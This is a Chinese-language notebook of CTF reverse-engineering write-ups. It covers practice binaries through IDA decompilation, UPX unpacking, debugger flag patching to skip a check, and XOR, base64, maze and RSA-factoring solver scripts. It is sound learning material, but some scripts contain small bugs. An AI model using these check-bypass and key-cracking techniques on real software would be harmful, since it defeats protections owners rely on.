组成数组首先先选择最上面的变量,右键选择“Set lvar type”或者直接使用快捷键“Y”
image.png
定义好数组的名称和长度之后
image.png
点击set the type 最后就好了
image.png
image.png
输入00000fffff,记录每一次循环sum值
image.png
image.png
输入00000fffff每一次循环记录 v7[0] = 0x50; v9[0] = v7[0];
v7[1] = 0xFAE3; v9[1] = v7[1];
v7[2] = 0xD7D3F7B; v9[2] = v7[2];
v7[3] = 0xA43499F6; v9[3] = v7[3];
v7[4] = 5; v9[4] = (v7[4] << 12) + v7[5];
v7[5] = 0x10; v9[5] = v7[6];
v7[6] = 0xEF9; v9[6] = v5;
v7[7]=v5=0xffff;


i=1
sum==0x50;不符合sum>0xFFFF;加下一个v7数组中的数据;
i=2;
sum==0xFB33==0x50+0xFAE3==0x50+v9[1];
不符合sum>0xFFFF,加下一个v7数组中的数据;
i=3;
sum==0xD7E3AAE==0xFB33+0xD7D3F7B=0x50+v9[2];
符合sum>0xFFFF,v7[7]取sum低四位0x3AAE;v7[8]取sum高位0xD7E;下一轮sum为v7[7]+v7[8]
i=4;
sum==0x482c==v7[7]+v7[8]==0x3AAE+0xD7E;
不符合sum>0xFFFF,加下一个v7数组中的数据;
i=5;
sum==0xa434e222==0x482c+0xA43499F6==0x482c+v9[3];
符合sum>0xFFFF,v7[7]取sum低四位0xe222;v7[8]取sum高位0xa434;下一轮sum为v7[7]+v7[8]
i=6;
sum==0x18656==v7[7]+v7[8]==0xe222+0xa434;
符合sum>0xFFFF,v7[7]取sum低四位0x8656;v7[8]取sum高位0x1;下一轮sum为v7[7]+v7[8]
i=7;
sum==0x8657==v7[7]+v7[8]==0x8656+0x1;不符合sum>0xFFFF;
i=8;
sum==0xD667==0x8657+0x5010==0x8657+v9[4];不符合sum>0xFFFF;
i=9;
sum==0xE560==0xD667+0xEF9==0xD667+v9[5];不符合sum>0xFFFF;
sum=0xE560+0xFFFF=0x1e55f;
符合sum>0xFFFF,v7[7]取sum低四位0xe55f,v7[8]取sum高位0x1,循环结束。
由于最后一次循环的0x1e55f是>0xFFFF的,所以预测应该是返回”Error”,
最后返回也是“Error”即验证成功。
根据上面调试出来的结果,会发现一定的规律,sum是经过v7数组的元素进行相加分为两种情况
如果符合sum>0xFFFF;v7[7]取sum低四位;v7[8]取sum剩余高位,且下一轮sum==v7[7]+v7[8];
如果不符合sum>0xFFFF;sum+=v9[i];
同时还要注意到一开始的输入格式,观察代码输入的s长度赋值给v3,长度需要大于6,查看函数中v11的值的话就会发现是之前输入的前五位“00000”,经过多次输入都是输入的前五位数字没有影响,紧接着是算出来的最小值1a9f,第十位作为校验码,多次输入后发现也是无论任意值

1
2
3
4
5
puts("plz input the key:");
__isoc99_scanf("%s", s);
v3 = strlen(s);
strncpy(dest, v11, v3 - 6);
dest[strlen(s) - 6] = 0;

image.png
确定flag{1a9f}
image.png

逆向5

call_1.exe 1.dll
运行call_1.exe文件,一个不完整的弹窗,ida进入主函数之后发现是
image.png
转化成代码语言

1
2
3
4
5
6
7
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
MessageBox(NULL,NULL,错误,MB_OK);
return 0;
}

进入主函数发现根本没有上面推测的代码,所以说一个函数一个函数进入寻找,或者像之前的方法直接找是否存在字符串帮助更快的找到flag的线索。
image.png
直到进入sub_4015BD的函数,才发现存在可疑的地方:Str==“dba54edb0?d6>7??3ef0f1caf2ad3102”

alt+a查看是否是弹窗上的文字,根据unicode转变结果看,应该只是会用到的普通的内容性字符串
image.png
已知Str==“dba54edb0?d6>7??3ef0f1caf2ad3102”,所以,很明显Str[1]!=1,直接return result,查看sub_401520函数。
image.png
line7:使用LoadLibraryA调用题目给的“1.dll”文件
line8:GetProcAddress(hModule, “H”) 从所给的动态链接库(1.dll)中获取函数的地址,并将其转换成一个可以在程序中调用的地址。(具体可百度)
for循环依次取Str里的值,作为参数传给H。sub_40163E()函数的putchar函数打印经过H处理Str[i]的内容。
image.png
动态调试:由于Str[1]!=1,所以程序不会执行sub_401520函数中去,那么我们就想到可以直接改ZF符号,使他表示比较的结果是相等的,即在F7单步jnz后将ZF标志的0x00改为0x01

在汇编语言中,ZF标志经常用于比较和跳转指令中。例如,当执行cmp指令时,如果比较结果为相等,则ZF标志被置为1,程序可以根据ZF标志的值来判断跳转条件。如果ZF标志为1,则表示比较结果为相等,程序会跳转到指定位置;如果ZF标志为0,则表示比较结果不相等,程序会继续执行后续指令。

image.png
修改后进入sub_401520函数在sub_40163E函数处下断点,F9运行再F8执行sub_40163E函数,flag就出来了。
image.png
image.png
参考文章:
https://blog.csdn.net/weixin_45582916/article/details/118497453#5_107
https://wenku.baidu.com/view/63e8de76ccc789eb172ded630b1c59eef9c79a14.html?wkts=1679224381727&bdQuery=GetProcAddress%28hModule%2C+%22H%22%29

BUUCTF-NKCTF-4月五周

earlier

说是手动去除花指令,得靠感觉来,首先是看这个小东西,双击到位置改一改数据,一个就是u查看数据,将第一行的数据nop掉(ctrl+N)按c再将数据整理起来,函数也是,d展开,nop第一行,c整理起来,还一个就是push ebp那里大概会有函数,p一下如果可以建个函数。
image.png

DASCTF Apr.2023 X SU战队2023开局之战

【简单】easyRE

image.png

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

import random
r = random.Random(322376503)
pt = input('Enter your flag: ').encode()
ct = b'%8b%cck%d3%ed%96%ffFb%06r%085%82%bc %b2%de)p%88Q`%1bf%18%b6QUSw%10%cd%d9%13A$%86%e5%cd%d9%ff'
buf = []
# WARNING: Decompyle incomplete

虽然说成功将exe文件剥离出了pyc文件,直接使用网站或者uncomply6无法直接逆向出源代码,所以使用pycdc工具来读python的字节码https://github.com/zrax/pycdc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
File Name: easyRE.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 7
Flags: 0x00000000
[Names]
'random'
'Random'
'r'
'input'
'encode'
'pt'
'ct'
'buf'
'b'
'append'
'randint'
'bytes'
'print'
[Constants]
0
None
322376503
'Enter your flag: '
b'\x8b\xcck\xd3\xed\x96\xffFb\x06r\x085\x82\xbc \xb2\xde)p\x88Q`\x1bf\x18\xb6QUSw\x10\xcd\xd9\x13A$\x86\xe5\xcd\xd9\xff'
255
'Correct!'
[Disassembly]
0 RESUME 0
2 LOAD_CONST 0: 0
4 LOAD_CONST 1: None
6 IMPORT_NAME 0: random
8 STORE_NAME 0: random
10 PUSH_NULL
12 LOAD_NAME 0: random
14 LOAD_ATTR 1: Random
24 LOAD_CONST 2: 322376503
26 PRECALL 1
30 CALL 1
40 STORE_NAME 2: r
42 PUSH_NULL
44 LOAD_NAME 3: input
46 LOAD_CONST 3: 'Enter your flag: '
48 PRECALL 1
52 CALL 1
62 LOAD_METHOD 4: encode
84 PRECALL 0
88 CALL 0
98 STORE_NAME 5: pt
100 LOAD_CONST 4: b'\x8b\xcck\xd3\xed\x96\xffFb\x06r\x085\x82\xbc \xb2\xde)p\x88Q`\x1bf\x18\xb6QUSw\x10\xcd\xd9\x13A$\x86\xe5\xcd\xd9\xff'
102 STORE_NAME 6: ct
104 BUILD_LIST 0
106 STORE_NAME 7: buf
108 LOAD_NAME 5: pt
110 GET_ITER
112 FOR_ITER 46 (to 206)
114 STORE_NAME 8: b
116 LOAD_NAME 7: buf
118 LOAD_METHOD 9: append
140 LOAD_NAME 2: r
142 LOAD_METHOD 10: randint
164 LOAD_CONST 0: 0
166 LOAD_CONST 5: 255
168 PRECALL 2
172 CALL 2
182 LOAD_NAME 8: b
184 BINARY_OP 12
188 PRECALL 1
192 CALL 1
202 POP_TOP
204 JUMP_BACKWARD 47
206 PUSH_NULL
208 LOAD_NAME 11: bytes
210 LOAD_NAME 7: buf
212 PRECALL 1
216 CALL 1
226 LOAD_NAME 6: ct
228 COMPARE_OP 2 (==)
234 POP_JUMP_FORWARD_IF_TRUE 2
236 LOAD_ASSERTION_ERROR
238 RAISE_VARARGS 1
240 PUSH_NULL
242 LOAD_NAME 12: print
244 LOAD_CONST 6: 'Correct!'
246 PRECALL 1
250 CALL 1
260 POP_TOP
262 LOAD_CONST 1: None
264 RETURN_VALU

BUUCTF平台REVERSE刷题20230115.md

reverse1

直接快捷键shift+F12查找程序中的字符串找到类似flag的字符串
图片.png
发现填入后不对继续跟进ctrl+x
图片.png
在right flag那里看看有什么东西
图片.png
图片.png
看到这里是将flag中的o(ASCII的111)改为0(ASCII的48)所以得到的flag是{hell0_w0rld}
###flag{hell0_w0rld}

利用ascii将英文字符换为数字字符

reverse2

查看字符串shift+F12,顺着找到flag的所处位置
图片.png
图片.png
分析一下伪代码所要表达的内容:输入s2传入输入的flag,之后进行与正确flag字符的对比
这里的flag是7B,转化成十进制就是123,所以i要符合的条件值是???没有,所以for(…)循环是不存在程序运行过程中的。

上面自己的分析貌似与题目意思有偏差,并且本人发现IDA中a快捷键的插件貌似没了,这个也要处理一下

105、114与49都是ascii编码中的 即’i’、’r’与’1’,所以直接将一开始找的hacking_for_fun}中的i和r都改为1,即flag是{hack1ng_fo1_fun}
###flag{hack1ng_fo1_fun}

判断将指出的特殊字符利用ascii换为数字字符

内涵的软件

图片.png
直接打开之后貌似就是flag
###flag{49d3c93df25caad81232130f3d2ebfad}

新年快乐

图片.png
先放在DIE里判断一下文件的信息
图片.png发现是被upx加过壳的,所以首先要的就是先给程序脱壳
在upx目录下进行脱壳输入的命令:upx -d xxxx.exe
需要注意的是要将文件放在与upx同目录下或者说直接连文件的位置一起输入进去
图片.png所以现在得到的程序就是已经拖过壳的程序
可由上图知程序是32位的所以我们放在32位的ida进行下一步的程序分析
图片.png
大概的逻辑思路是这样的

  • 首先是strcpy(Str2,"HappyNewYear!");

    strcpy()是一种用于复制的函数声明,将后面的字符串”HappyNewYear”复制到Str2中去

  • Str1这里是我们需要输入的flag

  • 之后到if(!strncmp((const char *)&Str1, Str2,strlen(Str2)) )

strncmp()是用来比较的函数,strlen(Str2)表示的是获取到Str2的长度,在这个长度下进行比较

  • 根据下面的result = puts("this is true flag!");可以知道上面的字符串就是我们所需要的flag

###flag{HappyNewYear!}

upx脱壳

xor

image.png
通过题目猜测这道题考的是异或,查看字符串上面的感觉像是需要异或处理的字符
image.png
image.png
写脚本并且运行

1
2
3
4
5
6
7
8
9
10
11
enc = ['f',0x0A,'k',0x0C,'w&O.@',0x11,'x',0x0D,
'Z;U',0x11,'p',0x19,'F',0x1F,'v"M#D',0x0E,'g',0x6,'h',0x0F,'G2O',0]
for i in range(len(enc)):
if type(enc[i])==int: #将数字转化成字符
enc[i] = chr(enc[i]) '''chr()函数是用一个在range(256)内的将0~255内的整数转为字符串
第一个字母已知是f,所以不需要做异或处理'''
enc ="".join(enc)
flag = 'f'
for i in range(1,len(enc)): ##范围是从第1位一直到字符的最后一位
flag += chr(ord(enc[i])^ord(enc[i-1])) ##ord()函数是将字符串转为整数的函数
print(flag) ##打印flag

这里插入菜鸟教程的python内置函数界面
Python 内置函数 | 菜鸟教程
###flag{QianQiuWanDai_YiTongJiangHu}

helloword

image.png
下载后发现是一个apk文件,我们需要用别的安卓工具来打开这个文件,直接找到main函数就能够获得flag了
image.png
###flag{7631a988259a00816deda84afb29430a}

apk文件的处理

reverse3

image.png
直接查看字符串
image.png
在里面看见两串可以纳入考虑的字符串”rigth flag!\n” “e3nifIH9b_C@n@dH”
进入到该函数之后,看到函数的原伪代码的大概
image.png
v4那里进入后有一个sub_411AB0的函数,点进去之后发现aAbcdefghijklmn这个函数较可疑的点进去之后发现
image.png
image.png
是base64编码的特征,往上逆着推,
image.png
所以需要进行一个简单的减法将flag算出来,而且需要知道Str2的值就是我上面找到的奇怪的字符”e3nifIH9b_C@n@dH”,有两种方法

1
2
3
4
5
6
7
8
9
import base64
str = 'e3nifIH9b_C@n@dH'
flag = ''
index = ''
for i in range(0,len(str)): ##范围是从0到最后
index = chr (ord(str[i]-i))
flag += index ##算出来之间的字符后,下一步进行base64编码的转化
flag = base64.b64decode(flag) ##base64.b64decode()方法,我们可以将二进制字符串解码为正常形式
print(flag)

image.png

1
2
3
4
5
6
7
8
9
10
str2 = list("e3nifIH9b_C@n@dH")
print(str2)
# print(ord(str2[0]))
for i in range(0,len(str2)):
str2[i]= chr(ord(str2[i])-i) #改为相减

print(''.join(str2))

#ord():字符转ascii码
#chr():ascii码转字符

得到 **e2lfbDB2ZV95b3V9 **放在在线base64中解码
flag{i_l0ve_you}

自己做题的时候这里出现的一个错误
image.png
在base64包存在的情况下,为什么出不来结果
找了百度之后才知道原来是命名的时候出现错误了
因为当时命名的文件名是”base64.py“,与包base64重合了,所以会出现混乱,把名字直接改为exp.py 结果就跑出来了

不一样的flag

image.png
32位的程序,直接用IDA打开之后分析程序
image.png
发现有一串10组成的字符串,再根据下面的判断语句
image.png
根据11、14-18、51行可以判断为迷宫题,将上面的25位的字符串转为5x5的迷宫图
image.png
从*一直走到#结合上面的操作数,所以flag就是222441144222
###flag{222441144222}

迷宫问题

SimpleRev

image.png
第一步还是查看字符串,从里面找一些可以确定flag出现位置的函数与加密的伪代码
image.png
可以大致确定flag是通过这里进行加密的
image.png
image.png
进入v9与src之后发现都是以小端序排列的数据低位存放在低地址,高位存放在高地址处,所以需要将之前的字符倒过来看
而key3与key1不存在小端的情况
image.png
:::tips
text = join(key3,(const char *)v9)
::key3 –> ‘kills’
::v9 –> ‘wodah’ 倒过来就是 ‘hadow’
text = killshadow
:::
:::tips
strcpy(key,key1) 将key1中的字符串输到key
::key1 –>’ADSFK’
*(_QWORD *)src = ‘SLCDN’; 倒过来是’NDCLS’
strcat(key ,src)将key与src字符连接起来
::src –> ‘SLCDN’
key = key1 + src –> key = ‘ADSFKNDCLS’
:::
正看代码就是:
:::tips
输入自己的字符fake flag,通过getchar()函数赋给v1
后面就是通过对v1的加密得到最后正确答案的flag
加密的过程是str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
所以说逆推v1的话就是v1 =str2[v2]-97+26+key[v3%v5]-58
并且根据上面来看我们需要得到的是v1的ASCII的编码的数值,需要将v1算出来是一个整数的形式
所以v1 = ord(str2[v2]-97)+26*i+ord(key[v3%v5])-58
:::
:::tips
同样要注意的是这里的小写字母要全改为大写字母
image.png
:::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
printf("Please input your flag:");
while ( 1 )
{
v1 = getchar();
if ( v1 == 10 )
break;
if ( v1 == 32 )
{
++v2;
}
else
{
if ( v1 <= 96 || v1 > 122 )
{
if ( v1 > 64 && v1 <= 90 )
{
str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
++v3;
}
}
else
{
str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
++v3;
}
if ( !(v3 % v5) )
putchar(32);
++v2;
}
}
if ( !strcmp(text, str2) ) //!strcmp(text, str2)-->text = str2
puts("Congratulation!\n");

所以通过伪代码逆推写出得到flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
str2 = 'killshadow'
key = 'adsfkndcls'
v3=0
v5=len(key)
flag=[0,0,0,0,0,0,0,0,0,0]
for i in range(0,4):
for j in range(0,10):
v1=(ord(str2[j])-97)+26*i+ord(key[v3%v5])-58 ##j替换掉v2
if(v1>65 and v1<=90):
flag[j]=chr(v1) #最后将ascii表示的v1转为字符
v3=v3+1
for i in flag:
print(i,end="")

image.png
‘’’这里要给v1数值留作填充,观察到str2和key都是十位所以也是十位’’’
###flag{KLDQCUDFZO}


在flag加密:str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
b85d67b431c862f4527480c7deddefb.jpg
这里一开始没想通,所以花了蛮长时间去理解

1
2
3
4
5
6
7
8
9
10
11
12
13
text = 'killshadow'
key = 'adsfkndcls'
v3 = 0
v5 = len(key)
flag = '' ###这里要给v1数值留作填充
for i in range(0,4):
for j in range(0,10):
v1 = ord(str2[j]-97)+26*i+ord(key[v3%v5])-58 ##j替换掉v2
if(v1>65 and v1<=90):
flag[j]=chr(v1) ##最后将ascii表示的v1转为字符
v3=v3+1
for i in flag:
print(i,end="")

当然还有C的脚本,但一般都使用python来写脚本
20210716201716618.png

小端序问题、拼接问题

Java逆向解密

下载下来的题目是以class后缀的java语言的程序,所以使用JD-GUI的工具,将文件拖进去之后能够看到程序的整个过程
image.png
感觉像是异或处理

1
2
3
4
5
6
7
key = [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 
133, 191, 134, 140, 129, 135, 191, 65]

flag = ''
for i in range(len(key)):
flag += chr((key[i]-64)^0x20)
print(flag) ##打印flag

image.png
###flag{This_is_the_flag_!}

JD-GUI[Java XOR逆向]

[GXYCTF2019]luck_guy

查看字符后好像找到了一半的flag
image.png
f1=GXY{do_not_
进入get_flag()的函数,可以看到flag的加密过程
image.png
通过观察flag的排序应该是case4->case5->case1最后能够得到flag的另一半f2
case4中将"icugof\x7F”`复制给s,s给f2赋值,值得注意的是,计算机一般都是小端序排列,所以如果直接用字符的话肯定会报错,除非将字符倒过来,或者直接将字符转为ASCII编码再转为16进制的数。
case5中将上面的f2进行加密,可以看出是将字符按奇偶分开。
case1中是将f1与f2拼接起来
写脚本

1
2
3
4
5
6
7
8
9
f1 = 'GXY{do_not_'
f2 = [0x69, 0x63, 0x75, 0x67, 0x60, 0x6F, 0x66, 0x7F] #这里用的是第二种方法转换
temp = ''
for i in range(8):
if (i%2)==1:
temp += chr(f2[i]-2)
else:
temp += chr(f2[i]-1) #别忘了将转回字符串
print(f1+temp)

image.png
##flag{do_not_hate_me}

上面的操作不知道是怎么回事,小端序被去了,忘记录屏看了呜呜呜~~
第二次重新开的时候就发现问题了
image.png
image.png
按下R之后变成了这串字符,这里就需要用到小端序了,所以第二个脚本就这样来的,这样看的话应该就是第一个开的姿势不对,什么勾八题目(╯▔皿▔)╯!!

1
2
3
4
5
6
7
8
9
10
f2 = '\x7Ffo`guci'[::-1]  #a[::-1]就是将序列a中的元素翻转
f2a = ''
for i in range(8):
if i%2 == 1:
f2a += chr(ord(f2[i]) - 2)
else:
f2a += chr(ord(f2[i]) - 1)

flag = 'GXY{do_not_'+f2a
print(flag )

[BJDCTF2020]JustRE

直接搜索字符串,找到突破点
image.png
image.png
直接点击进入之后,发现sprintf()的函数直接将19999和0传入到占位符%d%d中,所以最后的flag是BJD{1999902069a45792d233ac}
###flag{1999902069a45792d233ac}

纯拼接类题目

刮开有奖

image.png
image.png
找到关键函数 DialogFunc ,其中strlen(String)==8可知String是8位的字符,第57行的”U g3t 1T” “@_@”(you get it!)可知上面是程序加密的过程。
还能看到寄存器的位置也是连续的,以16进制的算法,
image.png
所以猜想函数sub_4010F0是对上面的数字的数组化处理,并且暂时当作char类型来处理,
写脚本将上面的数字转换成字符

1
2
3
4
5
6
ec = [90,74,83,69,67,97,78,72,51,110,103]
tmp=''
for i in range(len(ec)):
tmp += chr(ec[i])
print(tmp)
#得到的字符串是:ZJSECaNH3ng

image.png
进入sub_4010F0函数 求出需要的v字符是3CEHJNSZagn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <windows.h>
#include <string.h>
int sub_4010F0(char* a1, int a2, int a3)
{
int result; // eax
int i; // esi
int v5; // ecx
int v6; // edx

result = a3;
for ( i = a2; i <= a3; a2 = i )
{
//v5 = 4 * i; 因为是4字节所以直接可以将4给去掉
v5 = i;
v6 = a1[i];
if ( a2 < result && i < result )
{
do
{
if ( v6 > (a1[result]) )
{
if ( i >= result )
break;
++i;
(a1[v5]) = (a1[result]);
if ( i >= result )
break;
while ((a1 [i] ) <= v6 )
{
if ( ++i >= result )
goto LABEL_13;
}
if ( i >= result )
break;
v5 = 4 * i;
(a1[result]) =a1[i];
}
--result;
}
while ( i < result );
}
LABEL_13:
a1 [result] = v6;
sub_4010F0(a1, a2, i - 1);
result = a3;
++i;
}
return result;
}
int main()
{
char v[] = "ZJSECaNH3ng";
sub_4010F0(v,0,10);
printf("%s",v);
return 0;
}

对应的变量

3 C E H J N S Z a g n
v7[0] v7[1] v8 v9 v10 v11 v12 v13 v14 v15 v16

image.png
通过返回的条件
String[0] = ‘3’+34= 51+34=85=’U’
String[1] = ‘J’
String[2] = (3v8+141)/4 =87 = ‘W’
String[3] = 2
(v13/9)*4 = ‘P’
flag的前四位我们已经得出来了,还有后面的四位,查看v4 v5发现是base64加密的方法,直接用在线工具进行解密,得到v5 =’WP1’ v4= ‘jMp’,直接组装就得到flag了~~
image.png
###flag{UJWP1jMp}

这道题花了蛮长时间去理解 但是第一次真正写出能跑的脚本还是蛮高兴滴~

简单注册器

下载发现是一个apk的包,工具打开之后发现有一串可以的字符可以利用
"dd2940c04462b4dd7c450528835cca15"除此之后好像都看不懂了,使用jeb查看源代码
image.png
一开始没出来,右键点击MainActivity解析之后才出现能够看懂的代码
image.png
这样就可以清楚的看到flag的加密过程,解出v5是关键。
写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
v11 = 0x1F
v9 = 2
v2 = 1
str = ['d','d','2','9','4','0','c','0','4','4','6','2',
'b','4','d','d','7','c','4','5','0','5','2','8',
'8','3','5','c','c','a','1','5']
str[v9] =chr(ord(str[v9]) + ord(str[3]) - 50)
str[4] = chr(ord(str[v9]) + ord(str[5]) - 0x30)
str[30] = chr(ord(str[v11]) + ord(str[9]) - 0x30)
str[14] = chr(ord(str[27]) + ord(str[28]) - 97)
for i in range(16):
v0 = str[0x1F-i]
str[0x1F-i] = str[i]
str[i] = v0
for i in str:
#print(i,flag = '')
print(i,end= '')
'''end = ''-->python中“end=”是“print()”函数中的一个参数,会使该函数关闭
是python的一个内置函数'''

###flag{59acc538825054c7de4b26440c0999dd}

[GWCTF 2019]pyre

下载后发现是一个pyc文件,直接用网站来进行对pyc文件的转换,转为可以阅读的py文件。

pyc文件是python文件经过编译后的二进制文件

py文件的原文是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7

print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[i + 1]

print code
code = ['\x1f','\x12','\x1d','(','0','4','\x01','\x06','\x14','4',
',','\x1b','U','?','o','6','*',':','\x01','D',';','%','\x13']

isinstance(object, classinfo)
如果参数object是classinfo的实例,或者object是classinfo类的子类的一个实例, 返回True。如果object不是一个给定类型的的对象, 则返回结果总是False。

str与string
String是一个模块,str是一个字符类型

写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
code = ['\x1f','\x12','\x1d','(','0','4','\x01','\x06','\x14','4',
',','\x1b','U','?','o','6','*',':','\x01','D',';','%','\x13']
for i in range(len(code)):
if isinstance(code[i], str): #str是字符串类型
code[i] = ord(code[i])
print(code)
for j in range(len(code)-2,-1,-1):
code[j]=code[j]^code[j+1]
flag = ""
for n in range(len(code)):
code[n] = code[n]-n
if code[n]<0:
code[n] += 128
flag += chr(code[n])
print(flag)

###GWHT{Just_Re_1s_Ha66y!}

pyd的逆向题

[ACTF新生赛2020]easyre

下载后的文件发现是加了upx壳的,所以首先要脱壳
image.png
查看这里_data_start__函数
image.png
看见qmemcpy(v4, “*F’"N,"(I?+@”, sizeof(v4));这条函数,将”*F’"N,"(I?+@”拷贝至v4中去,
着眼观察for循环,看出最后的flag长度应该是12,将flag的ascii值作为下标取值,与v4数组进行比较,利用v4数组在_data_start__中找位置,就是要找的flag
v4的数组是这样的[42, 70, 39, 34, 78, 44, 34, 40, 73, 63, 43, 64],使用python脚本进行转换

1
2
3
4
5
enc = ("*F'\"N,\"(I?+@")
flag=[]
for character in enc:
flag.append(ord(character))
print(flag)

写解题脚本

1
2
3
4
5
6
7
#-*- coding:utf8- -*-
v4=[42, 70, 39, 34, 78, 44, 34, 40, 73, 63, 43, 64]
enc='~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"'
flag=''
for i in v4:
flag+=chr(enc.find(chr(i))+1)
print(flag)

image.png
###flag{U9X_1S_W6@T?}

find()函数

findit

直接用GDA打开之后找主函数,
image.png
发现一行像flag的字符串,直接将字符串扒下来是
pvkq{m164675262033l4m49lnp7p9mnk28k75}
感觉像是凯撒密码,直接用解凯撒密码的在线工具,解出来flag
###flag{c164675262033b4c49bdf7f9cda28a75}

rsa

非对称算法(不传递密钥)
存在两个密钥:公钥和私钥
<1>c = (m ^ e) % n ,
=>E N组成一个公钥对(n,e)
<2> m = (c ^ d) % n
=>d是私钥

:::tips
应用流程

  • 选取两个较大的互不相等的质数p和q,计算n=p*q
  • 计算phi=(p-1)*(q-1)
  • 选取任意e,使得e满足1<e<phi且gcd(e,phi)==1
  • 计算e关于n的模逆元d,且d满足(e * d)% n ==1
  • 加解密c = (m ^ e) % n , m = (c ^ d) % n 。其中m为明文,c为密文,(n,e)为公钥对,d为私钥,要求 0 <= m < n
    :::
    首先获得两个不知道怎么看的文件,直接将两个文件的后缀名改为txt,查看文件的内容,
    image.png
    image.png
    使用在线工具SSL在线工具-公钥解析 将解rsa要用的e和n解出来
    image.png
    这里需要用到大整数的分解工具yafu
    将解出来的p(n)使用factor()进行大整数的分解n得到p和q
    image.png
    p=285960468890451637935629440372639283459
    q=304008741604601924494328155975272418463
    利用代码求解
1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
import rsa
e=65537
n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
p=285960468890451637935629440372639283459
q=304008741604601924494328155975272418463
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e, phi_n) #求d->e关于n的模逆元
key=rsa.PrivateKey(n, e, int(d), p, q) #rsa的密钥
with open("D:\\CTFofficesoftware\\other\\flag.txt",'rb') as file:
file=file.read()
print(rsa.decrypt(file,key))

这里的首先是文件的命名问题,不要用与模板名字相同的名字命名一个新文件
其次是文件的引用,应该是题目中给的文件而不是说自己去建一个新的文件

[ACTF新生赛2020]rome

下载文件后找关键的字符函数,找到主函数后进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int func()
{
int result; // eax
int v1[4]; // [esp+14h] [ebp-44h]
unsigned __int8 v2; // [esp+24h] [ebp-34h] BYREF
unsigned __int8 v3; // [esp+25h] [ebp-33h]
unsigned __int8 v4; // [esp+26h] [ebp-32h]
unsigned __int8 v5; // [esp+27h] [ebp-31h]
unsigned __int8 v6; // [esp+28h] [ebp-30h]
int v7; // [esp+29h] [ebp-2Fh]
int v8; // [esp+2Dh] [ebp-2Bh]
int v9; // [esp+31h] [ebp-27h]
int v10; // [esp+35h] [ebp-23h]
unsigned __int8 v11; // [esp+39h] [ebp-1Fh]
char v12[29]; // [esp+3Bh] [ebp-1Dh] BYREF

strcpy(v12, "Qsw3sj_lz4_Ujw@l");
printf("Please input:");
scanf("%s", &v2);
result = v2;
if ( v2 == 'A' )
{
result = v3;
if ( v3 == 'C' )
{
result = v4;
if ( v4 == 'T' )
{
result = v5;
if ( v5 == 'F' )
{
result = v6;
if ( v6 == '{' )
{
result = v11;
if ( v11 == '}' )
{
v1[0] = v7;
v1[1] = v8;
v1[2] = v9;
v1[3] = v10;
*(_DWORD *)&v12[17] = 0;
while ( *(int *)&v12[17] <= 15 )
{
if ( *((char *)v1 + *(_DWORD *)&v12[17]) > 64 && *((char *)v1 + *(_DWORD *)&v12[17]) <= 90 )//大写字母处理
*((_BYTE *)v1 + *(_DWORD *)&v12[17]) = (*((char *)v1 + *(_DWORD *)&v12[17]) - 51) % 26 + 65;
if ( *((char *)v1 + *(_DWORD *)&v12[17]) > 96 && *((char *)v1 + *(_DWORD *)&v12[17]) <= 122 )//小写字母处理
*((_BYTE *)v1 + *(_DWORD *)&v12[17]) = (*((char *)v1 + *(_DWORD *)&v12[17]) - 79) % 26 + 97;
++*(_DWORD *)&v12[17];
}
*(_DWORD *)&v12[17] = 0;
while ( *(int *)&v12[17] <= 15 )
{
result = (unsigned __int8)v12[*(_DWORD *)&v12[17]];
if ( *((_BYTE *)v1 + *(_DWORD *)&v12[17]) != (_BYTE)result )
return result;
++*(_DWORD *)&v12[17];
}
result = printf("You are correct!");
}
}
}
}
}
}
return result;
}

第一个while循环
65-90的数,第二个循环是97-122的数,对大小写字母分别加密
第二个while循环是比较

1
2
3
4
5
6
7
8
9
10
11
12
13
a='ACTF'
v12='Qsw3sj_lz4_Ujw@l'
s=''
for k in range(len(v12)):
for s in range(128):
i=s
if (i>64 and i<=90):
i = (i-51)%26+65
if(i>96 and i<=122):
i = (i-79)%26+97
if i ==ord(v12[k]):#第二个循环的比较
a = a+chr(s)
print(a+'}')

跑出来的脚本再包上flag
###flag{Cae3ar_th4_Gre@t}

CrackRTF

看了writeup知道这道题是与winapi有关的题目,两个加密检验的部分

strcat()函数是字符串的拼接

